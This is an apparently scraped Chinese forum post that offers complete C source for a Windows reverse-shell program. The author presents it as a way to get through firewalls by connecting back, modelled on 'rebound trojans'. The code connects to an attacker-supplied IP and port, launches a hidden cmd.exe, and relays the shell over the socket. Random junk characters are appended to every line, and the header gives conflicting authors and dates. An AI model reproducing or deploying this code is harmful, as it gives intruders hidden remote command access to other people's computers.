这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3yXY.>'
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/* ============================== O| hpXkV
Rebound port in Windows NT +'w3 =2Bo
By wind,2006/7 r"R#@V\'1b
===============================*/ ri.I pRe
#include zv"Z DRW
#include ?R#)1{(8d~
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#pragma comment(lib,"wsock32.lib") "wHFN>5B
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void OutputShell(); E+JqWR5
SOCKET sClient; :/Qq@]O>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]$_NyAoBb
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void main(int argc,char **argv) '`<w#z}AF
{ .6'qoo_N
WSADATA stWsaData; tnG# IU
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int nRet; pHJ3nHLQ
SOCKADDR_IN stSaiClient,stSaiServer; E@3aI
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if(argc != 3) r>U@3%0&
{ O8.5}>gDn.
printf("Useage:\n\rRebound DestIP DestPort\n"); "w.3Q96r
return; WeiFmar
} 3%ZOKb"D*
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WSAStartup(MAKEWORD(2,2),&stWsaData); RdML3E
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '08=yqy4N
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stSaiClient.sin_family = AF_INET; &JI8]JmU)
stSaiClient.sin_port = htons(0); r$~HfskeI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z)aUt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3Ims6I]
{ #
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printf("Bind Socket Failed!\n"); &pp|U}
return; :[!j?)%>
} abLnI =W`
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stSaiServer.sin_family = AF_INET; 8pgEix/M5o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'X2POay1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (*)hD(C5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b%/ 1$>_
{ {jX2}
printf("Connect Error!"); NTI+
return; N'`A?&2ru
} 7x4PaX(
OutputShell(); sp*v?5lW
} #?9;uy<j.q
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void OutputShell() xX4N4vb
{ "!%l/_p?
char szBuff[1024]; 6b \&~b@T
SECURITY_ATTRIBUTES stSecurityAttributes; `lt"[K<
OSVERSIONINFO stOsversionInfo; =>af@C.2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v-_e)m^
STARTUPINFO stStartupInfo; v OpKNp
char *szShell; 7s{GbU\
PROCESS_INFORMATION stProcessInformation; <<R*2b
unsigned long lBytesRead; b`O'1r\Y;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }@+:\
stSecurityAttributes.lpSecurityDescriptor = 0; ~1vDV>dpE
stSecurityAttributes.bInheritHandle = TRUE; C&rkvM8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c|@bwat4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _8_R 1s
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]F'e
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g~A`N=r;h
stStartupInfo.wShowWindow = SW_HIDE; HqT#$}rv
stStartupInfo.hStdInput = hReadPipe; "mvt>X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h|{]B,.Lh
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GetVersionEx(&stOsversionInfo); [}0haTYc4
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switch(stOsversionInfo.dwPlatformId) 76h ,]xi
{ oEKvl3Hz_
case 1: =w
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szShell = "command.com"; l#Y,R 0
break; XLOh7(
default: "]b<uV
szShell = "cmd.exe"; D!-g&HBTC
break; FZslv"F
} Ks`J([(W&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p xa*'h"b^
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send(sClient,szMsg,77,0); U6fgo3RH
while(1) R3&Iu=g
{ wHMX=N1/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CD( :jM?
if(lBytesRead) iN8zo:&Z
{ M {T-iW"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4-H+vNG{%
send(sClient,szBuff,lBytesRead,0); "8jf81V*
} IE/^\ M
else ieCEo|b
{ )g#T9tx2D
lBytesRead=recv(sClient,szBuff,1024,0); GqaCj^2f
if(lBytesRead<=0) break; G.a b ql
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h-<81"}j1
} pm0{R[:T7
} ;LSANr&
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return; c>:wd@w
}